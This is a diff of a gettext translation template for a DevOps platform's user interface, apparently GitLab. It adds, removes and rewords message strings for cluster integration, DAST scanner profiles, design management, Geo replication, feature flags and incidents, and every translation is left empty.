msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
-msgid "ClusterIntegration|Choose which of your environments will use this cluster. %{environment_scope_start}More information%{environment_scope_end}"
-msgstr ""
-
msgid "ClusterIntegration|Clear cluster cache"
msgstr ""
@@ -5296,6 +5425,9 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
+msgid "ClusterIntegration|Connect existing cluster"
+msgstr ""
+
msgid "ClusterIntegration|Copy API URL"
msgstr ""
@@ -5479,9 +5611,6 @@ msgstr ""
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
-msgid "ClusterIntegration|Helm streamlines installing and managing Kubernetes applications. Tiller runs inside of your Kubernetes Cluster, and manages releases of your charts."
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -5677,7 +5806,7 @@ msgstr ""
msgid "ClusterIntegration|Number of nodes must be a numerical value."
msgstr ""
-msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{link_to_help_page} on Kubernetes"
+msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{linkStart}documentation%{linkEnd} on Kubernetes"
msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
@@ -5896,12 +6025,15 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
msgstr ""
-msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{auto_devops_start}Auto DevOps%{auto_devops_end}. The domain should have a wildcard DNS configured matching the domain."
+msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
+msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
+msgstr ""
+
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -5941,15 +6073,27 @@ msgstr ""
msgid "ClusterIntegration|This option will allow you to install applications on RBAC clusters."
msgstr ""
+msgid "ClusterIntegration|This project does not have billing enabled. To create a cluster, %{linkToBillingStart}enable billing%{linkToBillingEnd} and try again."
+msgstr ""
+
+msgid "ClusterIntegration|This will permanently delete the following resources:"
+msgstr ""
+
msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
msgstr ""
+msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|To remove your integration and resources, type %{clusterName} to confirm:"
msgstr ""
msgid "ClusterIntegration|To remove your integration, type %{clusterName} to confirm:"
msgstr ""
+msgid "ClusterIntegration|To use a new project, first create one on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Uninstall %{appTitle}"
msgstr ""
@@ -5974,6 +6118,9 @@ msgstr ""
msgid "ClusterIntegration|We could not verify that one of your projects on GCP has billing enabled. Please try again."
msgstr ""
+msgid "ClusterIntegration|We were unable to fetch any projects. Ensure that you have a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|With a Kubernetes cluster associated to this project, you can use review apps, deploy your applications, run your pipelines, and much more in an easy way."
msgstr ""
@@ -5989,9 +6136,6 @@ msgstr ""
msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
msgstr ""
-msgid "ClusterIntegration|You must first install Helm Tiller before installing the applications below"
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
@@ -6022,7 +6166,7 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|documentation"
+msgid "ClusterIntegration|can be used instead of a custom domain. "
msgstr ""
msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
@@ -6199,6 +6343,12 @@ msgstr ""
msgid "Comment/Reply (quoting selected text)"
msgstr ""
+msgid "Commenting on files that replace or are replaced by symbolic links is currently not supported."
+msgstr ""
+
+msgid "Commenting on symbolic links that replace or are replaced by files is currently not supported."
+msgstr ""
+
msgid "Comments"
msgstr ""
@@ -6400,7 +6550,7 @@ msgstr ""
msgid "Configure Tracing"
msgstr ""
-msgid "Configure a <code>.gitlab-webide.yml</code> file in the <code>.gitlab</code> directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
+msgid "Configure a %{codeStart}.gitlab-webide.yml%{codeEnd} file in the %{codeStart}.gitlab%{codeEnd} directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
msgid "Configure automatic git checks and housekeeping on repositories."
@@ -6856,9 +7006,6 @@ msgstr ""
msgid "Copy"
msgstr ""
-msgid "Copy %{field}"
-msgstr ""
-
msgid "Copy %{http_label} clone URL"
msgstr ""
@@ -6943,6 +7090,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy to clipboard"
+msgstr ""
+
msgid "Copy token"
msgstr ""
@@ -6955,6 +7105,9 @@ msgstr ""
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not archive %{design}. Please try again."
+msgstr ""
+
msgid "Could not authorize chat nickname. Try again!"
msgstr ""
@@ -6979,15 +7132,21 @@ msgstr ""
msgid "Could not create group"
msgstr ""
+msgid "Could not create issue"
+msgstr ""
+
msgid "Could not create project"
msgstr ""
-msgid "Could not delete %{design}. Please try again."
+msgid "Could not create wiki page"
msgstr ""
msgid "Could not delete chat nickname %{chat_name}."
msgstr ""
+msgid "Could not delete wiki page"
+msgstr ""
+
msgid "Could not find design."
msgstr ""
@@ -7018,6 +7177,9 @@ msgstr ""
msgid "Could not save prometheus manual configuration"
msgstr ""
+msgid "Could not udpdate wiki page"
+msgstr ""
+
msgid "Could not update the LDAP settings"
msgstr ""
@@ -7033,6 +7195,12 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
+msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "Create"
msgstr ""
@@ -7123,6 +7291,9 @@ msgstr ""
msgid "Create file"
msgstr ""
+msgid "Create from"
+msgstr ""
+
msgid "Create group"
msgstr ""
@@ -7159,6 +7330,9 @@ msgstr ""
msgid "Create new branch"
msgstr ""
+msgid "Create new confidential %{issuableType}"
+msgstr ""
+
msgid "Create new directory"
msgstr ""
@@ -7183,6 +7357,9 @@ msgstr ""
msgid "Create project label"
msgstr ""
+msgid "Create release"
+msgstr ""
+
msgid "Create requirement"
msgstr ""
@@ -7354,6 +7531,9 @@ msgstr ""
msgid "Custom hostname (for private commit emails)"
msgstr ""
+msgid "Custom metrics"
+msgstr ""
+
msgid "Custom notification events"
msgstr ""
@@ -7450,6 +7630,15 @@ msgstr ""
msgid "Customize your pipeline configuration."
msgstr ""
+msgid "CustomizeHomepageBanner|Do you want to customize this page?"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|Go to preferences"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|This page shows a list of your projects by default but it can be changed to show projects' activity, groups, your to-do list, assigned issues, assigned merge requests, and more. You can change this under \"Homepage content\" in your preferences"
+msgstr ""
+
msgid "Cycle Time"
msgstr ""
@@ -7615,6 +7804,9 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Profiles"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -7645,25 +7837,55 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Silver plan."
msgstr ""
+msgid "DastProfiles|Are you sure you want to delete this profile?"
+msgstr ""
+
+msgid "DastProfiles|Could not create the scanner profile. Please try again."
+msgstr ""
+
msgid "DastProfiles|Could not create the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Could not delete scanner profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete scanner profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not fetch scanner profiles. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "DastProfiles|Could not update the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Do you want to discard this scanner profile?"
+msgstr ""
+
msgid "DastProfiles|Do you want to discard this site profile?"
msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
+msgid "DastProfiles|Download validation text file"
+msgstr ""
+
msgid "DastProfiles|Edit feature will come soon. Please create a new profile if changes needed"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
-msgid "DastProfiles|Error fetching the profiles list. Please check your network connection and try again."
+msgid "DastProfiles|Error Details"
msgstr ""
msgid "DastProfiles|Manage Profiles"
@@ -7672,7 +7894,16 @@ msgstr ""
msgid "DastProfiles|Manage profiles"
msgstr ""
-msgid "DastProfiles|New Site Profile"
+msgid "DastProfiles|Minimum = 0 (no timeout enabled), Maximum = 2880 minutes"
+msgstr ""
+
+msgid "DastProfiles|Minimum = 1 second, Maximum = 3600 seconds"
+msgstr ""
+
+msgid "DastProfiles|New Profile"
+msgstr ""
+
+msgid "DastProfiles|New scanner profile"
msgstr ""
msgid "DastProfiles|New site profile"
@@ -7684,6 +7915,9 @@ msgstr ""
msgid "DastProfiles|Please enter a valid URL format, ex: http://www.example.com/home"
msgstr ""
+msgid "DastProfiles|Please enter a valid timeout value"
+msgstr ""
+
msgid "DastProfiles|Profile name"
msgstr ""
@@ -7693,12 +7927,69 @@ msgstr ""
msgid "DastProfiles|Save profile"
msgstr ""
+msgid "DastProfiles|Scanner Profile"
+msgstr ""
+
+msgid "DastProfiles|Scanner Profiles"
+msgstr ""
+
+msgid "DastProfiles|Site Profile"
+msgstr ""
+
msgid "DastProfiles|Site Profiles"
msgstr ""
+msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgstr ""
+
+msgid "DastProfiles|Site must be validated to run an active scan."
+msgstr ""
+
+msgid "DastProfiles|Spider timeout"
+msgstr ""
+
+msgid "DastProfiles|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgstr ""
+
msgid "DastProfiles|Target URL"
msgstr ""
+msgid "DastProfiles|Target timeout"
+msgstr ""
+
+msgid "DastProfiles|Text file validation"
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the spider to traverse the site."
+msgstr ""
+
+msgid "DastProfiles|Validate"
+msgstr ""
+
+msgid "DastProfiles|Validate target site"
+msgstr ""
+
+msgid "DastProfiles|Validating..."
+msgstr ""
+
+msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgstr ""
+
+msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgstr ""
+
+msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgstr ""
+
msgid "Data is still calculating..."
msgstr ""
@@ -7771,7 +8062,7 @@ msgstr ""
msgid "Default classification label"
msgstr ""
-msgid "Default deletion adjourned period"
+msgid "Default deletion delay"
msgstr ""
msgid "Default description template for issues"
@@ -7849,10 +8140,10 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
-msgid "Delete Package"
+msgid "Delete Snippet"
msgstr ""
-msgid "Delete Snippet"
+msgid "Delete account"
msgstr ""
msgid "Delete artifacts"
@@ -7909,6 +8200,9 @@ msgstr ""
msgid "Delete variable"
msgstr ""
+msgid "DeleteProject|Delete %{name}"
+msgstr ""
+
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -7930,15 +8224,24 @@ msgstr ""
msgid "Deleted"
msgstr ""
+msgid "Deleted Projects"
+msgstr ""
+
msgid "Deleted chat nickname: %{chat_name}!"
msgstr ""
-msgid "Deleted in this version"
+msgid "Deleted projects"
+msgstr ""
+
+msgid "Deleted projects cannot be restored!"
msgstr ""
msgid "Deleting"
msgstr ""
+msgid "Deleting a project places it into a read-only state until %{date}, at which point the project will be permanently deleted. Are you ABSOLUTELY sure?"
+msgstr ""
+
msgid "Deleting the license failed."
msgstr ""
@@ -7948,6 +8251,9 @@ msgstr ""
msgid "Deleting the license failed. You are not permitted to perform this action."
msgstr ""
+msgid "Deleting the project will delete its repository and all related resources including issues, merge requests etc."
+msgstr ""
+
msgid "Deletion pending. This project will be removed on %{date}. Repository and other project resources are read-only."
msgstr ""
@@ -7975,6 +8281,12 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "Dependencies|%d more"
+msgid_plural "Dependencies|%d more"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "Dependencies|%d vulnerability detected"
msgid_plural "Dependencies|%d vulnerabilities detected"
msgstr[0] ""
@@ -7984,6 +8296,9 @@ msgstr[2] ""
msgid "Dependencies|%{remainingLicensesCount} more"
msgstr ""
+msgid "Dependencies|(top level)"
+msgstr ""
+
msgid "Dependencies|All"
msgstr ""
@@ -7996,6 +8311,9 @@ msgstr ""
msgid "Dependencies|Component name"
msgstr ""
+msgid "Dependencies|Dependency path"
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -8014,6 +8332,9 @@ msgstr ""
msgid "Dependencies|The %{codeStartTag}dependency_scanning%{codeEndTag} job has failed and cannot generate the list. Please ensure the job is running properly and run the pipeline again."
msgstr ""
+msgid "Dependencies|There may be multiple paths"
+msgstr ""
+
msgid "Dependencies|Toggle vulnerability list"
msgstr ""
@@ -8053,8 +8374,8 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
-msgid "Depends on <strong>%d closed</strong> merge request."
-msgid_plural "Depends on <strong>%d closed</strong> merge requests."
+msgid "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge request."
+msgid_plural "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge requests."
msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
@@ -8101,7 +8422,7 @@ msgstr ""
msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
-msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The <code>gitlab-ci.yml</code> file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
+msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The %{filename} file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
msgstr ""
msgid "DeployFreeze|Time zone"
@@ -8335,13 +8656,22 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgid "DesignManagement|Archive designs"
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
+msgid "DesignManagement|Archive selected"
msgstr ""
-msgid "DesignManagement|Are you sure you want to delete the selected designs?"
+msgid "DesignManagement|Archived designs will still be available in previous versions of the design collection."
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to archive the selected designs?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
msgstr ""
msgid "DesignManagement|Cancel changes"
@@ -8374,15 +8704,6 @@ msgstr ""
msgid "DesignManagement|Could not update note. Please try again."
msgstr ""
-msgid "DesignManagement|Delete"
-msgstr ""
-
-msgid "DesignManagement|Delete designs confirmation"
-msgstr ""
-
-msgid "DesignManagement|Delete selected"
-msgstr ""
-
msgid "DesignManagement|Deselect all"
msgstr ""
@@ -8464,7 +8785,10 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Score"
+msgid "DevOps"
+msgstr ""
+
+msgid "DevOps Report"
msgstr ""
msgid "Diff content limits"
@@ -8473,6 +8797,9 @@ msgstr ""
msgid "Diff limits"
msgstr ""
+msgid "Diff view settings"
+msgstr ""
+
msgid "Difference between start date and now"
msgstr ""
@@ -8485,7 +8812,10 @@ msgstr ""
msgid "Diffs|No file name available"
msgstr ""
-msgid "Diffs|Show unchanged lines"
+msgid "Diffs|Show %{unfoldCount} lines"
+msgstr ""
+
+msgid "Diffs|Show all unchanged lines"
msgstr ""
msgid "Diffs|Something went wrong while fetching diff lines."
@@ -8590,9 +8920,6 @@ msgstr ""
msgid "Discuss a specific suggestion or question."
msgstr ""
-msgid "Discussion"
-msgstr ""
-
msgid "Discussion to reply to cannot be found"
msgstr ""
@@ -8608,7 +8935,7 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
-msgid "Dismiss DevOps Score introduction"
+msgid "Dismiss DevOps Report introduction"
msgstr ""
msgid "Dismiss Merge Request promotion"
@@ -8860,9 +9187,6 @@ msgstr ""
msgid "Edit comment"
msgstr ""
-msgid "Edit dashboard"
-msgstr ""
-
msgid "Edit description"
msgstr ""
@@ -9151,9 +9475,6 @@ msgstr ""
msgid "Enable usage ping"
msgstr ""
-msgid "Enable usage ping to get an overview of how you are using GitLab from a feature perspective."
-msgstr ""
-
msgid "Enable/disable your service desk. %{link_start}Learn more about service desk%{link_end}."
msgstr ""
@@ -9322,6 +9643,9 @@ msgstr ""
msgid "Environments in %{name}"
msgstr ""
+msgid "EnvironmentsAlert|%{severity} • %{title} %{text}. %{linkStart}View Details%{linkEnd} · %{startedAt} "
+msgstr ""
+
msgid "EnvironmentsDashboard|Add a project to the dashboard"
msgstr ""
@@ -9346,7 +9670,7 @@ msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -9625,6 +9949,9 @@ msgstr ""
msgid "Epics|To schedule your epic's %{epicDateType} date based on milestones, assign a milestone with a %{epicDateType} date to any issue in the epic."
msgstr ""
+msgid "Epics|Unable to perform this action"
+msgstr ""
+
msgid "Epics|Unable to save epic. Please try again"
msgstr ""
@@ -9952,7 +10279,7 @@ msgstr ""
msgid "Exactly one of %{attributes} is required"
msgstr ""
-msgid "Example: <code>192.168.0.0/24</code>. %{read_more_link}."
+msgid "Example: %{ip_address}. %{read_more_link}."
msgstr ""
msgid "Example: @sub\\.company\\.com$"
@@ -9973,6 +10300,9 @@ msgstr ""
msgid "Excluding merge commits. Limited to 6,000 commits."
msgstr ""
+msgid "Existing branch name, tag, or commit SHA"
+msgstr ""
+
msgid "Existing members and groups"
msgstr ""
@@ -9982,9 +10312,6 @@ msgstr ""
msgid "Existing projects will be able to use expiration policies. Avoid enabling this if an external Container Registry is being used, as there is a performance risk if many images exist on one project."
msgstr ""
-msgid "Existing shares"
-msgstr ""
-
msgid "Existing sign in methods may be removed"
msgstr ""
@@ -9997,9 +10324,6 @@ msgstr ""
msgid "Expand approvers"
msgstr ""
-msgid "Expand down"
-msgstr ""
-
msgid "Expand dropdown"
msgstr ""
@@ -10009,9 +10333,6 @@ msgstr ""
msgid "Expand sidebar"
msgstr ""
-msgid "Expand up"
-msgstr ""
-
msgid "Expected documents: %{expected_documents}"
msgstr ""
@@ -10024,9 +10345,6 @@ msgstr ""
msgid "Expiration date"
msgstr ""
-msgid "Expiration not enforced"
-msgstr ""
-
msgid "Expired"
msgstr ""
@@ -10459,12 +10777,18 @@ msgstr ""
msgid "FeatureFlags|Flag becomes read only soon"
msgstr ""
+msgid "FeatureFlags|Flag is read-only"
+msgstr ""
+
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags, and in 13.4, this feature flag will become read-only. Please create a new feature flag."
msgstr ""
+msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
+msgstr ""
+
msgid "FeatureFlags|ID"
msgstr ""
@@ -10549,6 +10873,9 @@ msgstr ""
msgid "FeatureFlags|There was an error retrieving user lists"
msgstr ""
+msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
+msgstr ""
+
msgid "FeatureFlags|Try again in a few moments or contact your support team."
msgstr ""
@@ -10558,9 +10885,6 @@ msgstr ""
msgid "FeatureFlags|User List"
msgstr ""
-msgid "FeatureFlag|Delete strategy"
-msgstr ""
-
msgid "FeatureFlag|List"
msgstr ""
@@ -10600,6 +10924,9 @@ msgstr ""
msgid "File"
msgstr ""
+msgid "File %{current} of %{total}"
+msgstr ""
+
msgid "File Hooks"
msgstr ""
@@ -10825,6 +11152,9 @@ msgstr ""
msgid "Footer message"
msgstr ""
+msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgstr ""
+
msgid "For internal projects, any logged in user can view pipelines and access job details (output logs and artifacts)"
msgstr ""
@@ -10996,30 +11326,15 @@ msgstr ""
msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
msgstr ""
-msgid "GeoNodes|Attachments"
-msgstr ""
-
-msgid "GeoNodes|Checksummed"
-msgstr ""
-
msgid "GeoNodes|Consult Geo troubleshooting information"
msgstr ""
-msgid "GeoNodes|Container repositories"
-msgstr ""
-
msgid "GeoNodes|Data replication lag"
msgstr ""
-msgid "GeoNodes|Design repositories"
-msgstr ""
-
msgid "GeoNodes|Does not match the primary storage configuration"
msgstr ""
-msgid "GeoNodes|Failed"
-msgstr ""
-
msgid "GeoNodes|Full"
msgstr ""
@@ -11035,12 +11350,6 @@ msgstr ""
msgid "GeoNodes|Internal URL"
msgstr ""
-msgid "GeoNodes|Job artifacts"
-msgstr ""
-
-msgid "GeoNodes|LFS objects"
-msgstr ""
-
msgid "GeoNodes|Last event ID processed by cursor"
msgstr ""
@@ -11068,12 +11377,6 @@ msgstr ""
msgid "GeoNodes|Node's status was updated %{timeAgo}."
msgstr ""
-msgid "GeoNodes|Not checksummed"
-msgstr ""
-
-msgid "GeoNodes|Package files"
-msgstr ""
-
msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
msgstr ""
@@ -11095,15 +11398,6 @@ msgstr ""
msgid "GeoNodes|Replication status"
msgstr ""
-msgid "GeoNodes|Repositories"
-msgstr ""
-
-msgid "GeoNodes|Repository checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Repository verification progress"
-msgstr ""
-
msgid "GeoNodes|Selective (%{syncLabel})"
msgstr ""
@@ -11131,27 +11425,12 @@ msgstr ""
msgid "GeoNodes|Unused slots"
msgstr ""
-msgid "GeoNodes|Unverified"
-msgstr ""
-
msgid "GeoNodes|Updated %{timeAgo}"
msgstr ""
msgid "GeoNodes|Used slots"
msgstr ""
-msgid "GeoNodes|Verified"
-msgstr ""
-
-msgid "GeoNodes|Wiki checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Wiki verification progress"
-msgstr ""
-
-msgid "GeoNodes|Wikis"
-msgstr ""
-
msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
msgstr ""
@@ -11164,6 +11443,12 @@ msgstr ""
msgid "GeoNodes|secondary nodes"
msgstr ""
+msgid "Geo|%{itemTitle} checksum progress"
+msgstr ""
+
+msgid "Geo|%{itemTitle} verification progress"
+msgstr ""
+
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -11227,6 +11512,12 @@ msgstr ""
msgid "Geo|Geo Status"
msgstr ""
+msgid "Geo|Go to the primary site"
+msgstr ""
+
+msgid "Geo|If you want to make changes, you must visit the primary site."
+msgstr ""
+
msgid "Geo|In progress"
msgstr ""
@@ -11359,10 +11650,10 @@ msgstr ""
msgid "Geo|Waiting for scheduler"
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. If you want to make changes, you must visit this page on the %{node_link_open}primary node%{node_link_close}."
+msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node."
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
+msgid "Geo|You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
msgstr ""
msgid "Geo|misconfigured"
@@ -11539,7 +11830,7 @@ msgstr ""
msgid "GitLabPages|Force HTTPS (requires valid certificates)"
msgstr ""
-msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings > General > Visibility%{strong_end} page."
+msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
@@ -11656,7 +11947,10 @@ msgstr ""
msgid "Go to %{link_to_google_takeout}."
msgstr ""
-msgid "Go to <strong>Issues</strong> > <strong>Boards</strong> to access your personalized learning issue board."
+msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
+msgstr ""
+
+msgid "Go to Integrations"
msgstr ""
msgid "Go to Webhooks"
@@ -11938,6 +12232,9 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
+msgid "Group push rule exists, try updating"
+msgstr ""
+
msgid "Group requires separate account"
msgstr ""
@@ -12214,7 +12511,7 @@ msgstr ""
msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day waiting period. This period can be %{customization_link} in instance settings"
+msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{customization_link} in instance settings"
msgstr ""
msgid "GroupSettings|Select a sub-group as the custom project template source for this group."
@@ -12427,6 +12724,9 @@ msgstr ""
msgid "Health status"
msgstr ""
+msgid "Health status cannot be edited because this issue is closed"
+msgstr ""
+
msgid "HealthCheck|Access token is"
msgstr ""
@@ -12442,6 +12742,9 @@ msgstr ""
msgid "Hello there"
msgstr ""
+msgid "Hello, %{username}!"
+msgstr ""
+
msgid "Help"
msgstr ""
@@ -12574,6 +12877,9 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
+msgid "How to upgrade"
+msgstr ""
+
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -12730,6 +13036,12 @@ msgstr ""
msgid "If you remove this license, GitLab will fall back on the previous license, if any."
msgstr ""
+msgid "If you want to re-enable two-factor authentication, visit %{two_factor_link}"
+msgstr ""
+
+msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -12883,6 +13195,9 @@ msgstr ""
msgid "ImportProjects|Importing the project failed: %{reason}"
msgstr ""
+msgid "ImportProjects|Requesting namespaces failed"
+msgstr ""
+
msgid "ImportProjects|Requesting your %{provider} repositories failed"
msgstr ""
@@ -12898,6 +13213,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Improve Issue Boards"
+msgstr ""
+
msgid "Improve Issue boards"
msgstr ""
@@ -12910,13 +13228,13 @@ msgstr ""
msgid "Improve customer support with GitLab Service Desk."
msgstr ""
-msgid "Improve search with Advanced Global Search and GitLab Enterprise Edition."
+msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
msgid "In %{time_to_now}"
msgstr ""
-msgid "In order to enable instance-level analytics, please ask an admin to enable %{usage_ping_link_start}usage ping%{usage_ping_link_end}."
+msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
msgstr ""
msgid "In order to gather accurate feature usage data, it can take 1 to 2 weeks to see your index."
@@ -12925,21 +13243,24 @@ msgstr ""
msgid "In order to personalize your experience with GitLab%{br_tag}we would like to know a bit more about you."
msgstr ""
-msgid "In order to tailor your experience with GitLab we%{br_tag}would like to know a bit more about you."
-msgstr ""
-
msgid "In progress"
msgstr ""
msgid "In the next step, you'll be able to select the projects you want to import."
msgstr ""
+msgid "Incident"
+msgstr ""
+
msgid "Incident Management Limits"
msgstr ""
msgid "IncidentManagement|All"
msgstr ""
+msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgstr ""
+
msgid "IncidentManagement|Assignees"
msgstr ""
@@ -12952,6 +13273,9 @@ msgstr ""
msgid "IncidentManagement|Date created"
msgstr ""
+msgid "IncidentManagement|Display your incidents in a dedicated view"
+msgstr ""
+
msgid "IncidentManagement|Incident"
msgstr ""
@@ -12970,6 +13294,9 @@ msgstr ""
